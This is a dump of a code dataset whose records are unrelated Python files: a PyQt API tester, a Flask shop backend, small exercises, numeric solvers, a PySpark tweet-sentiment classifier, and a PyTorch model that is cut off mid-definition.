print(e)\n try:\n self.excelchange['body'][self.comboBox_way.currentIndex()] = self.body_edit.toPlainText()\n except Exception as e:\n print(e)\n print('done!')\n self.list = self.excelchange\n\n print('Save Success!!')\n\n def SaveAll(self):\n try:\n self.excelchange.to_excel(self.filename,index=False,header=True)\n print('SaveAll!!')\n except Exception as e:\n print(e)\n\n\n\n def ImportExcel(self):\n\n self.filename,self.filetype = QFileDialog.getOpenFileName(self,\"选择文件\",\"./\",\"所有文件 (*);;Excel (.xlsx)\")\n try:\n self.comboBox_way.clear()\n self.list = pd.read_excel(self.filename)\n for i in self.list.values:\n self.comboBox_way.addItem(i[0])\n self.label_method.setText(self.list.values[self.comboBox_way.currentIndex()][1])\n self.lineEdit_path.setText(self.list.values[self.comboBox_way.currentIndex()][2])\n except:\n print('未选择文件或文件内容不符合规范')\n\n def ChoicePath(self):\n self.name = self.comboBox_way.currentText()\n self.path = self.list.values[self.comboBox_way.currentIndex()][2]\n self.method = self.list.values[self.comboBox_way.currentIndex()][1]\n self.label_method.setText(self.method)\n if self.method == 'GET':\n self.checkBox_body.setCheckable(False)\n self.Body()\n self.lineEdit_path.setText(self.path)\n print(self.method,self.path)\n\n\n def Request(self):\n print('in')\n self.method = self.label_method.text()\n self.name = self.comboBox_way.currentText()\n self.request_body = ''\n self.request_header = ''\n self.request_query = ''\n # self.truepath = self.lineEdit_path.text()\n Mark = True\n self.url = 'http://192.168.83.200:8088{}'.format(self.lineEdit_path.text())\n if self.checkBox_body.isChecked() and len(self.body_edit.toPlainText()) != 0:\n try:\n self.request_body = json.loads(self.body_edit.toPlainText())\n print(self.request_body)\n except Exception as e:\n print(e)\n Mark = False\n if self.checkBox_header.isChecked() and len(self.header_edit.toPlainText()) != 0:\n try:\n self.request_header = json.loads(self.header_edit.toPlainText())\n except Exception as e:\n print(e)\n Mark = False\n if self.checkBox_query.isChecked() and len(self.query_edit.toPlainText()) != 0:\n try:\n self.request_query = json.loads(self.query_edit.toPlainText())\n except Exception as e:\n print(e)\n Mark = False\n print('here')\n print(self.method,self.url)\n if Mark:\n response = requests.request(method=self.method,url=self.url,params=self.request_query,headers=self.request_header,data=self.request_body)\n print(response.text)\n # self.Result('{}:\\t{}'.format(self.name,response.status_code))\n # self.Result(response.text)\n self.Result(\"{}\\t{}\".format(self.name,str(response.status_code)))\n self.ResponseBody(response.text)\n\n def RequestAll(self):\n print('in')\n Len = len(self.list)\n print(Len)\n self.response_code = []\n self.response_text = []\n header = ''\n param = ''\n body = ''\n for i in range(0,Len):\n print('start')\n method = self.list['method'][i]\n url = \"{}{}\".format(host,self.list['path'][i])\n print(url)\n Mark = True\n if not self.list['headers'].isnull()[i]:\n try:\n header = json.loads(self.list['headers'][i])\n print(header)\n except Exception as e:\n print(e)\n Mark = False\n if not self.list['params'].isnull()[i]:\n try:\n param = json.loads(self.list['params'][i])\n print(param)\n except Exception as e:\n print(e)\n Mark = False\n\n if not self.list['body'].isnull()[i]:\n try:\n body = json.loads(self.list['body'][i])\n print(body)\n except Exception as e:\n print(e)\n Mark = False\n\n if Mark:\n print('start request!!!')\n response = requests.request(method=method,url=url,headers=header,params=param,data=body)\n\n self.response_code.append(response.status_code)\n self.response_text.append(response.text)\n self.Result(\"{}\\t{}\".format(self.list['功能'][i],str(response.status_code)))\n print('request end\\n')\n # except Exception as e:\n # print(e)\n\n pass\n\n def Body(self):\n if self.checkBox_body.isChecked():\n self.Layout_param.addWidget(self.body_edit)\n self.body_edit.setPlainText(self.list['body'][self.comboBox_way.currentIndex()])\n if not self.checkBox_body.isChecked():\n self.Layout_param.removeWidget(self.body_edit)\n sip.delete(self.body_edit)\n self.body_edit = QtWidgets.QTextEdit()\n self.body_edit.setPlaceholderText('输入Body')\n\n def Query(self):\n if self.checkBox_query.isChecked():\n self.Layout_param.addWidget(self.query_edit)\n if not self.checkBox_query.isChecked():\n self.Layout_param.removeWidget(self.query_edit)\n sip.delete(self.query_edit)\n self.query_edit = QtWidgets.QTextEdit()\n self.query_edit.setPlaceholderText('输入Query')\n\n def Header(self):\n if self.checkBox_header.isChecked():\n self.Layout_param.addWidget(self.header_edit)\n try:\n self.header_edit.setPlainText(headers)\n except Exception as e:\n print(e)\n if not self.checkBox_header.isChecked():\n self.Layout_param.removeWidget(self.header_edit)\n sip.delete(self.header_edit)\n self.header_edit = QtWidgets.QTextEdit()\n self.header_edit.setPlaceholderText('输入Header')\n\n def Result(self,list):\n self.textBrowser_result.append(list)\n # self.textBrowser_result.setText(list)\n\n def ResponseBody(self,list):\n self.textBrowser_responsebody.setText(list)\n\n def Clear(self):\n self.textBrowser_result.setText(\"\")\n\n def Export(self):\n resultList = self.textBrowser_result.toPlainText()\n self.Save()\n with open(self.savepath,'w') as f:\n f.write(str(resultList))\n\n def Save(self):\n self.savepath,self.savetype = QFileDialog.getSaveFileName(self,'选择保存路径','./',\"All Files(*)\")\n if self.savepath == '':\n print('取消选择')\n return\n print('\\n保存文件:')\n print(self.savepath)\n print('类型:',self.savetype)\n\n\ndef main():\n app = QApplication(sys.argv)\n gui = Show()\n gui.show()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()","sub_path":"FMStest/test/FmsTest.py","file_name":"FmsTest.py","file_ext":"py","file_size_in_byte":10120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"171332407","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\nimport constants\nimport database\nfrom client import Client\n\nfrom banners import banners_blueprint\nfrom menus import menus_blueprint\nfrom products import products_blueprint\nfrom customers import customers_blueprint\n\n\nCORS(banners_blueprint)\nCORS(menus_blueprint)\nCORS(products_blueprint)\nCORS(customers_blueprint)\n\nurl_prefix = '/api'\n\napp = Flask(__name__)\napp.register_blueprint(banners_blueprint, url_prefix=url_prefix)\napp.register_blueprint(menus_blueprint, url_prefix=url_prefix)\napp.register_blueprint(products_blueprint, url_prefix=url_prefix)\napp.register_blueprint(customers_blueprint, url_prefix=url_prefix)\n\n\n@app.before_request\ndef before_request():\n client_id = request.headers.get(constants.HTTP_CLIENT_ID)\n is_client_id_real = Client.validate_and_verify(client_id)\n if (is_client_id_real):\n return None\n else:\n response = jsonify({ \"message\": 'A Client ID is needed. Please provide one' })\n response.status_code = 204\n return response\n\n@app.teardown_appcontext\ndef shutdown_session(exception=None):\n database.db_session.remove()","sub_path":"basicecomm/basicecomm.py","file_name":"basicecomm.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"652138508","text":"import datetime\n\ndef check_birthdate(year, month, day):\n\t# write code here\n\ttoday_year = datetime.date.today().year\n\ttoday_month = datetime.date.today().month\n\ttoday_day = datetime.date.today().day\n\n\tif year >= today_year:\n\t\tif year > today_year:\n\t\t\treturn False\n\t\telif month > today_month or day > today_day:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tprint(\"s\")\n\t\t\treturn True\n\telse:\n\t\tprint(\"ss\")\n\t\treturn True\n\ndef calculate_age(year, month, day):\n # write code here\n\ttoday_year = datetime.date.today().year\n\ttoday_month = datetime.date.today().month\n\ttoday_day = datetime.date.today().day\n\n\tif today_month < month:\n\t\tage = (today_year - year) - 1\n\telse:\n\t\tage = (today_year - year)\n\tprint(\"You are %d years old.\" % (age))\n\ndef main():\n\t# write main code here\n\tbirth_year = int(input(\"Enter year of birth: \"))\n\tbirth_month = int(input(\"Enter month of birth: \"))\n\tbirth_day = int(input(\"Enter day of birth: \"))\n\tif check_birthdate(birth_year,birth_month,birth_day):\n\t\tcalculate_age(birth_year,birth_month,birth_day)\n\telse:\n\t\tprint(\"The birthdate is invalid!\")\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"age_calculator.py","file_name":"age_calculator.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"642888466","text":"import Tkinter as tk\nimport os\nimport sys\n\nfrom ToolTip import *\n\nsys.path.append(os.path.join(os.path.dirname(__file__),'..', 'metaReaders'))\nfrom access_meta_file import *\n\n\n\n#Note, the file format must be same here as it is in load Profile dialog,\n#Also check read_meta_file to ensure compatibility\nclass saveProfileDialog(tk.Toplevel):\n errorText = 0\n profileDetailsText = 0\n saveNameText = 0\n profileListText = 0\n nameTB = 0\n profileText = \"\" #Will just be placed directly after nameTB\n existingProfilesListBox = 0 #Will hold names of existing profile names\n saveButton = 0 #Add Are you sure you want to overwrite button\n profileObjectList = [] #each line to be saved in new profile\n initGridRow = 0\n \n dirPath = 0\n \n stringList = []\n def formatStrings(self,tags,values):\n length = len(tags)\n if( length > len(values)):\n length = len(values)\n #Ensures no out of bounds occur \n i=0\n while i < length:\n self.stringList.append(tags[i] +\"| \" + values[i])\n i=i+1\n \n \n def __init__(self,dirPath,tags,values):\n \n tk.Toplevel.__init__(self,bg='#F0F0F0')\n self.title(\"Save Profile\")\n self.dirPath = dirPath\n self.tagList = tags\n self.values = values\n \n self.formatStrings(tags,values)\n \n self.initWidgets()\n self.populateTexts()\n self.populateListbox(dirPath)\n self.createProfileDetails()\n \n def initWidgets(self):\n self.errorText = tk.Text(self,height=2,state='disable',bg='#F0F0F0',fg='red',bd=0,width=70,wrap='word',)\n \n self.saveNameText = tk.Text(self,height=1,state='disable',bg='#F0F0F0',bd=0,width=len(\"Profile name: \"))\n self.nameTB = tk.Entry(self,width=15)\n self.profileText = tk.Text(self,height=1,bg='#F0F0F0',bd=0,width=len(\".profile\"))\n self.saveButton = tk.Button(self,text=\"Save profile\",command=self.trySaveProfile)\n \n self.profileListText = tk.Text(self,height=1,bg='#F0F0F0',bd=0,width=len(\"Existing profiles: \"))\n self.existingProfilesListBox = tk.Listbox(self,height=3)\n \n \n self.profileDetailsText = tk.Text(self,height=1,state='disable',bg='#F0F0F0',bd=0,width=len(\"Profile details: \"))\n \n \n self.errorText.grid(row=0,column=0,columnspan=9,sticky='w')\n self.saveNameText.grid(row=1,column=0,sticky='e')\n self.nameTB.grid(row=1,column=1,sticky='e')\n self.profileText.grid(row=1,column=2,sticky=\"w\")\n self.saveButton.grid(row=1,column=3)\n \n self.profileListText.grid(row=2,column=0)\n self.existingProfilesListBox.grid(row=2,column=1,columnspan=2)\n \n self.profileDetailsText.grid(row=3,column=0,sticky='w')\n \n self.initGridRow = 4\n \n def populateListbox(self,dirPath):\n existingFileList = os.listdir(dirPath)\n for s in existingFileList:\n end = len(s.split('.'))-1\n if(s.split('.')[end] == \"profile\"):\n self.existingProfilesListBox.insert('end',s)\n \n \n def populateTexts(self):\n self.saveNameText.config(state='normal')\n self.saveNameText.delete(1.0, 'end')\n self.saveNameText.insert('insert',\"Profile name: \")\n self.saveNameText.config(state='disable')\n \n self.profileListText.config(state='normal')\n self.profileListText.delete(1.0, 'end')\n self.profileListText.insert('insert',\"Existing profiles: \")\n self.profileListText.config(state='disable')\n \n self.profileText.config(state='normal')\n self.profileText.delete(1.0, 'end')\n self.profileText.insert('insert',\".profile\")\n self.profileText.config(state='disable')\n \n self.profileDetailsText.config(state='normal')\n self.profileDetailsText.delete(1.0, 'end')\n self.profileDetailsText.insert('insert',\"Profile details: \")\n self.profileDetailsText.config(state='disable')\n \n def createProfileDetails(self=None):\n #This function creates the text lines with the details of the new profile\n textWidth = 150\n \n row = self.initGridRow\n length = len(self.stringList)\n \n i=0\n while i < length:\n width= textWidth\n if(len(self.stringList[i]) < width):\n width = len(self.stringList[i])\n newText = tk.Text(self,height=1,state='disable',bg='#F0F0F0',bd=0,width=width)\n newText.grid(row=row,column=0,sticky='w',columnspan=8)\n row=row+1\n \n \n newText.config(state='normal')\n newText.delete(1.0, 'end')\n newText.insert('insert',self.stringList[i])\n newText.config(state='disable')\n createToolTip(newText,self.stringList[i])\n i=i+1\n \n def trySaveProfile(self=None):\n fileName = self.nameTB.get()+\".profile\"\n string = self.nameTB.get().replace(\"_\",\"\").replace(\".\",\"\")\n if(not str.isalnum(string)):\n self.setError(\"Name must be made up of letters, numbers and underscores\")\n return\n \n if(os.path.isfile(self.dirPath +fileName)):\n self.setError(\"I currently can't allow you to overwrite profiles, please delete any profiles with this same name\")\n return\n \n if(not os.path.isdir(self.dirPath)):\n self.setError(\"There was an error and the directory is not correctly defined, please exit this window\")\n return\n self.setError() #This will clear the errorList\n write_list_meta_file(self.dirPath+fileName,self.stringList)\n self.destroy()\n \n def setError(self,errorString=\"\"):\n if errorString != \"\":\n self.errorText.config(state='normal')\n self.errorText.delete(1.0, 'end')\n self.errorText.insert('insert',errorString)\n self.errorText.config(state='disable')\n \n else:\n self.errorText.config(state='normal')\n self.errorText.delete(1.0, 'end')\n self.errorText.config(state='disable')\n \n \n ","sub_path":"additionalDialogs/profileDialogs.py","file_name":"profileDialogs.py","file_ext":"py","file_size_in_byte":6258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425884136","text":"# global imports\nimport os\nimport sys\n\nimport matplotlib\nmatplotlib.use('Agg')\n\n# local imports\nfiledir = os.path.dirname(os.path.realpath(__file__))\nbasedir = os.path.dirname(filedir)\nsys.path.append(basedir)\n\nimport DRACO_Frameworks.CNN_DNN.CNN_DNN_PRE as CNN_DNN_PRE\nimport variable_sets.topVariables_T as variable_set\n\nJTcategory = sys.argv[1]\nvariables = variable_set.variables[JTcategory]\n\nevent_classes = [\"ttHbb\", \"ttbb\", \"tt2b\", \"ttb\", \"ttcc\", \"ttlf\"]\n\nworkpath = \"/ceph/hluedemann/DRACO-MLfoy/workdir\"\ninPath = workpath + \"/train_samples\"\nsavepath = workpath + \"/CNN_DNN_PRE_\"+str(JTcategory)+\"\"\n\ncmatrix_file = workpath+\"/confusionMatrixData/CNN_DNN_PRE_\"+str(JTcategory)+\".h5\"\n\n\ncnn_dnn_pre = CNN_DNN_PRE.CNN_DNN_PRE(\n in_path = inPath,\n save_path = savepath,\n event_classes = event_classes,\n event_category = JTcategory,\n train_variables = variables,\n batch_size = 5000,\n train_epochs = 15,\n early_stopping = 5,\n optimizer = \"adam\",\n test_percentage = 0.5,\n eval_metrics = [\"acc\"],\n phi_padding = 0\n )\n\n\nnumber_runs = 10\n\nfor i in range(number_runs):\n\n cnn_dnn_pre.build_model()\n\n cnn_dnn_pre.train_models()\n\n cnn_dnn_pre.eval_model()\n cnn_dnn_pre.plot_metrics()\n cnn_dnn_pre.plot_discriminators()\n\n # plotting\n cnn_dnn_pre.save_confusionMatrix(location = cmatrix_file, save_roc = True)\n cnn_dnn_pre.plot_confusionMatrix(norm_matrix = True)\n\n\n cnn_dnn_pre.plot_outputNodes()\n\n\n\n\n\n'''\ncnn_dnn.plot_prenet_nodes()\ncnn_dnn.plot_class_differences()\ncnn_dnn.plot_discriminators()\ncnn_dnn.plot_classification()\n\ncnn_dnn.plot_output_output_correlation(plot=True)\ncnn_dnn.plot_input_output_correlation(plot=False)\n'''\n","sub_path":"train_scripts/train_CNN_DNN_PRE.py","file_name":"train_CNN_DNN_PRE.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"202971622","text":"\n# coding: utf-8\n\n# In[1]:\n\n\ndef multiplication(n):\n i=1\n while i<=6:\n print(n*i,'\\t')\n i=i+1\n\n\n# In[4]:\n\n\ni=1\nwhile i<=6:\n multiplication(i)\n i=i+1\n\n\n# In[5]:\n\n\ndef elections(n):\n if n=='modi':\n print(\"you are destroyed\")\n elif n=='rahul':\n print(\"you are doubtful to be destroyed\")\n else:\n print(\"no comments\")\n \n\n\n# In[8]:\n\n\ndef pollingday():\n poll=input()\n elections(poll)\n \n\n\n# In[ ]:\n\n\npollingday()\n\n\n# In[4]:\n\n\ndef compare(x,y):\n if x==y:\n print('x and y are equal')\n if x0:\n return -x\n\n\n# In[15]:\n\n\nvalue(22)\n\n\n# In[20]:\n\n\nimport math\ndef distance(x1,y1,x2,y2):\n x=(x2-x1)\n x=x*x\n y=(y2-y1)\n y=y*y\n r=math.sqrt(x+y)\n print(r)\n \n \n\n\n# In[21]:\n\n\ndistance(5,8,8,4)\n\n\n# In[9]:\n\n\ndef tables(n):\n i=1\n while i<=6:\n result=i*n\n i=i+1\n print(result)\n \n\n\n# In[10]:\n\n\ni=1\nwhile i<=6:\n tables(i)\n i=i+1\n\n","sub_path":"multiplication tables .py","file_name":"multiplication tables .py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"612234179","text":"# coding=utf-8\nfrom numpy import cos, sqrt, exp, sin\nfrom matplotlib import mlab\nimport pylab as plt\n\n# Задание сетки по х\nx_min = 0.0\nx_max = 1.0\nn = 200\nh = (x_max - x_min) / n\nx = mlab.frange(x_min, x_max, h)\nN = len(x) - 1\n\n# Задание сетки по t\nt_min = 0.0\nt_max = 2.0\nm = 600\ntau = (t_max - t_min) / m\nt = mlab.frange(t_min, t_max, tau)\n\n# точное решение\nU = [[x[i] + (t[n] - 1) * sin(4 * x[i]) for i in xrange(len(x))] for n in xrange(len(t))]\n\n# Точное решение в нулевой момент времени\nuo = map(lambda z: z - sin(4 * z), x)\n\n# Построение Численного Решения:\n\n# коэффициенты уравнения a, b, c\na = -tau / (2 * h ** 2)\nb = 1 + tau / h ** 2\nc = a\nf = [map(lambda z: sin(4 * z) * (16 * t[n] - 15), x) for n in xrange(len(t))]\n\n\n# Массивы для Численного решения \"u\" и коэффициентов прогонки \"X\" и \"Z\"\nu = [[0 for i in xrange(len(x))] for n in xrange(len(t))]\nX = [[0 for i in xrange(len(x))] for n in xrange(len(t))]\nZ = [[0 for i in xrange(len(x))] for n in xrange(len(t))]\nu[0] = uo\n\n# Коэффициенты при граничных условиях\nalpha_l = 0\nbetta_l = 0\nalpha_r = 1\nbetta_r = [h + h * 4 * (t[n] - 1) * cos(4) for n in xrange(len(t))]\n\nfor n in xrange(len(t)):\n X[n][1] = alpha_l\n Z[n][1] = betta_l\n\n\n# Окончательное построение численного решения в каждый момент времени:\n\nfor n in xrange(len(t) - 1):\n # Нахождение Коэффициентов прогонки (Прямой ход)\n for j in range(1, len(x) - 1):\n X[n + 1][j + 1] = - c / (a * X[n + 1][j] + b)\n Z[n + 1][j + 1] = (tau * f[n + 1][j] - a * u[n][j-1] + (1 - tau / h**2) * u[n][j] - c * u[n][j+1] - a * Z[n + 1][j]) / (a * X[n + 1][j] + b)\n\n # Определение решения на правой границе через N -ые коэффициенты прогонки\n u[n + 1][len(x) - 1] = (alpha_r * Z[n + 1][len(x) - 1] + betta_r[n+1]) / (1 - alpha_r * X[n + 1][len(x) - 1])\n\n # Нахождение решения (Обратный ход)\n for j in range(0, len(x) - 1)[::-1]:\n u[n + 1][j] = X[n + 1][j + 1] * u[n + 1][j + 1] + Z[n + 1][j + 1]\n\n\n\n# Определение функции для нанесения сетки на график\nfig = plt.figure()\naxes = fig.add_subplot(1, 1, 1)\n\n# Построение и вывод графика\nfor n in xrange(5):\n plt.plot(x, u[n*100])\n\n# нанесение сетки на график\naxes.grid()\nplt.show()\n\n\n# построение графиков точного и численного решений в момент времени t = 2:\nfig = plt.figure()\naxes = fig.add_subplot(1, 1, 1)\n\nplt.plot(x, u[N], linestyle=\"-\", color=\"black\")\nplt.plot(x, U[N], linestyle=\"-\", color=\"red\")\nplt.legend((\"U[N][j]\", \"U(x)\"))\n\naxes.grid()\nplt.show()\n\n# погрешность численного решения в момент времени t = 2:\ndu = map(lambda z, y: abs(z - y), U[N], u[N])\n# вывод максимальной погрешности численного решения в t = 2:\nprint(max(du))\n\n# построение графика зависимости погрешности численного решения в t = 2:\nfig = plt.figure()\naxes = fig.add_subplot(1, 1, 1)\n\nplt.plot(x, du, linestyle=\"-\", color=\"black\")\n\naxes.grid()\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"teplo2.py","file_name":"teplo2.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"475189715","text":"def removeDuplicates(nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # [1,1,2,3,4,4,5]\n # have 2 pointers moving ->\n # the first is comparing items, the second is inserting them at right positions\n\n # [1,2,2,2,3,4,4,5] -->\n print(\"given nums\",nums)\n if len(nums) <= 1:\n return len(nums)\n prev=1\n for i in range(1,len(nums)):\n if nums[i]!=nums[i-1]:\n nums[prev]=nums[i]\n prev+=1\n print(\"modified nums\",nums)\n print(\"final solution\",nums[:prev])\n return len(nums[:prev])\n\n\nprint(removeDuplicates([1,1,2,2,3,3,4,5,6]))\n\n# follow up questin: return length, return the array itself.\n","sub_path":"Arrays/removedublicates.py","file_name":"removedublicates.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"653748080","text":"from random import *\nfrom collections import deque\n\nresult = []\nmu = 100_000\nsigma = 50\ntotal = 300_000\nints = sorted([int(gauss(mu, sigma)) for i in range(total)])\ndata = deque(ints)\n\nxticks = range(mu-200, mu+200, 1)\nfor x in xticks:\n count = 0\n while data:\n if data[0] < x:\n data.popleft()\n count += 1\n else:\n result.append((x, count))\n break\n else:\n result.append((x, count))\n\nresult\n\nfrom matplotlib import pyplot\nX, Y = zip(*result)\npyplot.bar(X, Y, width=1)\npyplot.ylabel(\"Y\")\npyplot.xlabel(\"X\")\npyplot.title(\"Random Gauss Histogram\")\npyplot.savefig('gauss.png')\n","sub_path":"Matplotlib/plot_random_gauss_histogram.py","file_name":"plot_random_gauss_histogram.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"30713672","text":"arr = [7,3,7,3,12,1,12,2,3]\na = 5\nb = 8\nc = 1\n\ncount = 0\nlength = len(arr)\nfor i in range(length-2):\n for j in range(i+1, length-1):\n if abs(arr[i]-arr[j]) <=a:\n for k in range(j+1,length):\n if abs(arr[j]-arr[k]) <=b and abs(arr[i]-arr[k]) <= c:\n count += 1\n\nprint(count)\n","sub_path":"1534-count-good-triplets.py","file_name":"1534-count-good-triplets.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"531603428","text":"###########################################################\n#\n# Plotting Example\n# - displays a histogram and a polar plot\n\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\n\n\n###################################################\n# Give the random module a random seed (optional)\nnp.random.seed(19680801)\n\nnpts = 512\n\n#Random points in theta\ntmean = np.pi # mean of distribution\ntsigma = np.pi# standard deviation of the distribution\ntheta = tmean+tsigma*np.random.randn(npts) # Uniformly distributed set of points\n\n#Random points in r\nrmean = 0.0 \nrsigma = 1 \nr = rmean + rsigma * np.random.randn(npts)\n\n##################################################\n# Ensure that r and theta have sensible values\nmaxr = np.max(np.abs(r))\nfor i in range(npts):\n theta[i] = (theta[i] % (2*np.pi)) #*180.0/np.pi\n\n r[i] = np.abs(r[i])/maxr\n r[i] = r[i] % 1\n \n\n\n\n##########################################\n# Begin the figure\nplt.figure(1)\n\n##############################\n# Subplot 1 : histogram of theta values\nplt.subplot(1,2,1)\n\n# the histogram of the data\nnum_bins = 50\nplt.hist(theta, num_bins, normed=1)\nplt.xlabel(r'$\\theta$')\nplt.ylabel('Probability density')\nplt.title(r'Histogram of $\\theta$-values')\n\n################################################\n# Subplot 2 : Polar Plot of our Random Points\n# \"ax\" is an axes object.\n# We can manipulate the plot via plt or else through methods of ax\nax=plt.subplot(1,2,2,projection='polar') \n\nfor i in range(npts):\n plt.plot(theta[i], r[i], 'r.') # plot each point individually (no connecting line)\n\nplt.title('Random Points')\nax.set_rticks([0.5, 0.75, 1]) # Control radial ticks -- most easily accessible via \"axes\" object\nax.set_rlabel_position(-22.5) # Move radial labels away from plotted line\n\n#plt.gca(projection='polar') # If we weren't working with subplots or axes objects, we could do this\n\nplt.tight_layout()\nplt.show()\n","sub_path":"Python_Overview_Fall2017-master/lesson6_matplotlib/polar_histogram.py","file_name":"polar_histogram.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"525371614","text":"from pyspark.sql import SQLContext\nfrom pyspark import SparkContext\nfrom pyspark.sql.functions import col\n\nfrom pyspark.ml.feature import RegexTokenizer, StopWordsRemover, CountVectorizer\nfrom pyspark.ml.classification import LogisticRegression\n\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import OneHotEncoder, StringIndexer, VectorAssembler\n\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator, MulticlassClassificationEvaluator\n\n# from pyspark.ml import PipelineModel\n\nsc = SparkContext()\nsqlContext = SQLContext(sc)\ndata = sqlContext.read.format('com.databricks.spark.csv').options(header='true', inferschema='true').load('tweets.csv')\n\ndata.show(5)\n\ndrop_list = ['tweet_id']\ndata = data.select([column for column in data.columns if column not in drop_list])\ndata.show(5)\ndata.printSchema()\ndata = data.dropna()\ndata = data.filter((data.airline_sentiment == \"positive\") |\n (data.airline_sentiment == \"negative\") |\n (data.airline_sentiment == \"neutral\"))\n\ndata.groupBy(\"airline_sentiment\") \\\n .count() \\\n .orderBy(col(\"count\").desc()) \\\n .show()\n\ndata.groupBy(\"text\") \\\n .count() \\\n .orderBy(col(\"count\").desc()) \\\n .show()\n\n# set seed for reproducibility\n(trainingData, testData) = data.randomSplit([0.7, 0.3], seed=100)\nprint(\"Training Dataset Count: \" + str(trainingData.count()))\nprint(\"Test Dataset Count: \" + str(testData.count()))\ntrainingData.printSchema()\ntrainingData.show(5)\ntestData.show(5)\n\n# regular expression tokenizer\nregexTokenizer = RegexTokenizer(inputCol=\"text\", outputCol=\"words\")\n\n# stop words\nadd_stopwords = [\"http\", \"https\", \"amp\", \"rt\", \"t\", \"c\", \"the\", \"RT\"]\nstopwordsRemover = StopWordsRemover(inputCol=\"words\", outputCol=\"filtered\").setStopWords(add_stopwords)\n\n# bag of words count\ncountVectors = CountVectorizer(inputCol=\"filtered\", outputCol=\"features\", vocabSize=10000, minDF=5)\n\n# convert string labels to indexes\nlabel_stringIdx = StringIndexer(inputCol=\"airline_sentiment\", outputCol=\"label\")\n\nlr = LogisticRegression(maxIter=20, regParam=0.3, elasticNetParam=0)\n# lrModel = lr.fit(trainingData)\n\n\n# build the pipeline\npipeline = Pipeline(stages=[regexTokenizer, stopwordsRemover, countVectors, label_stringIdx, lr])\n\n# Fit the pipeline to training documents.\npipelineFit = pipeline.fit(trainingData)\n# dataset = pipelineFit.transform(trainingData)\npredictions = pipelineFit.transform(testData)\n# dataset.show(5)\n\npredictions.filter(predictions['prediction'] == 0) \\\n .select(\"text\", \"airline_sentiment\", \"probability\", \"label\", \"prediction\") \\\n .orderBy(\"probability\", ascending=False) \\\n .show(n=10, truncate=30)\n\npredictions.filter(predictions['prediction'] == 1) \\\n .select(\"text\", \"airline_sentiment\", \"probability\", \"label\", \"prediction\") \\\n .orderBy(\"probability\", ascending=False) \\\n .show(n=10, truncate=30)\n\n# Evaluate, metricName=[accuracy | f1]default f1 measure\nevaluator = BinaryClassificationEvaluator(rawPredictionCol=\"prediction\", labelCol=\"label\")\nprint(\"F1: %g\" % (evaluator.evaluate(predictions)))\n\n# save the trained model for future use\npipelineFit.write().overwrite().save(\"logreg.model\")\n\n# PipelineModel.load(\"logreg.model\")\n","sub_path":"Streaming data and performing classification/spark_ml.py","file_name":"spark_ml.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"216700762","text":"# -*- coding:utf-8 -*-\r\n\"\"\"\r\n@Time: 2019/09/25 17:01\r\n@Author: Shanshan Wang\r\n@Version: Python 3.7\r\n@Function:\r\n\"\"\"\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom gcn import GCNNet\r\nfrom dqn import DQN,ReplayBuffer\r\nimport torch.optim as optim\r\nimport numpy as np\r\n\r\nclass Generator(nn.Module):\r\n def __init__(self,args,data,g,level2_parients):\r\n super(Generator, self).__init__()\r\n self.args=args\r\n self.data=data\r\n self.g=g\r\n self.level2_parients = level2_parients\r\n\r\n self.cnn = VanillaConv(args,vocab_size=data.size())\r\n self.pathEncoder = PathEncoder(args,self.g)\r\n self.pathDecoder = PathDecoder(args)\r\n\r\n self.DQN = DQN(args)\r\n\r\n self.pathHist = [] # 保存着已经选择的路径(只保留最后的一个ICD)\r\n\r\n self.attn = nn.Linear(args.node_embedding_size * 4, args.node_embedding_size * 3)\r\n self.attn_combine = nn.Linear(args.node_embedding_size * 2, args.node_embedding_size)\r\n\r\n #self.atten=selfAttention(hidden_dim=args.node_embedding_size*4)\r\n\r\n # Attentional affine transformation\r\n # self.r_x = nn.Linear(args.node_embedding_size, args.node_embedding_size * 3)\r\n # nn.init.normal_(self.r_x.weight, mean=0, std=1)\r\n # self.b_x = nn.Linear(args.node_embedding_size, args.node_embedding_size * 3)\r\n # nn.init.normal_(self.b_x.weight, mean=0, std=1)\r\n\r\n self.r_x = nn.Parameter(torch.FloatTensor(args.node_embedding_size, args.node_embedding_size * 3))\r\n # 使用xaview_uniform_方法初始化权重\r\n nn.init.xavier_uniform_(self.r_x.data) # (2,8285,16)\r\n self.b_x = nn.Parameter(torch.FloatTensor(args.node_embedding_size, args.node_embedding_size * 3))\r\n # nn.init.xavier_normal_(self.fc2.weight)\r\n 